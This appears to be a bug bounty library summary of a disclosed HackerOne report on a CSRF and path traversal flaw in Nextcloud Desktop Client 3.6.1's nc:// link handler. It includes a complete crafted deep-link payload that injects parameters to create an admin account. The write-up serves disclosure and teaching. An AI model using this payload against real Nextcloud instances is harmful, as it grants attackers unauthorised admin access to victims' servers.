# CSRF vulnerability in Nextcloud Desktop Client 3.6.1 on Windows when clicking malicious link

Unencoded deep-link token and path in Nextcloud Desktop let a malicious nc:// link trigger arbitrary POST requests, creating an admin user.

- Payout: hidden
- Severity: medium
- Program: Nextcloud
- Found by: lukasreschke
- Disclosed: 2023-01-11
- CVE: CVE-2023-22472
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/1741430
- Library page: https://bugbountylibrary.com/r/h1%3A1741430
- Tags: area:os domain:desktop impact:integrity impact:privesc kind:bounty platform:hackerone sev:medium tech:windows technique:incomplete-fix technique:source-review vuln:csrf vuln:path-traversal

**Target:** Nextcloud Desktop Client 3.6.1 on Windows (nc:// deep link handler)
**Root cause:** The fix for #1720043 concatenated the deep-link token into the API URL and relPath into the POST body without encoding, allowing path traversal in the URL and parameter injection in the body.
**Steps:**
1. Craft deep link: `nc://open/admin@pentest.cloud.wtf/.\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&email=mail@example.com&groups[]=admin&\..\.owncloudsync.log?token=../../../../../../../ocs/v1.php/cloud/users`
2. Victim clicks link; client POSTs to `/ocs/v2.php/apps/files/api/v1/openlocaleditor/../../../../../../../ocs/v1.php/cloud/users`
3. Body `path=/` + injected relPath becomes `path=/./&userid=hacker&password=...&groups[]=admin&\..\.owncloudsync.log`
4. Verify user 'hacker' created and added to admin group
**How found:** Reviewed the patch for #1720043 (PR #5055) and noticed token and relPath were concatenated unencoded into URL and body, hypothesizing traversal and parameter injection.
**Exploitation:** Attacker sends a malicious nc:// deep link via email/chat; victim clicks it, the desktop client issues a POST to the OCS users API with attacker-controlled parameters, creating an admin account on the victim's instance.
**Escalation:** Chained URL path traversal (token) with POST body parameter injection (relPath) to reach arbitrary OCS endpoints and inject arbitrary parameters.
**Insight:** When a fix adds URL/body construction from user-controlled deep-link values, check for missing encoding on both the path segment and the POST body; default files like .owncloudsync.log can satisfy existence checks.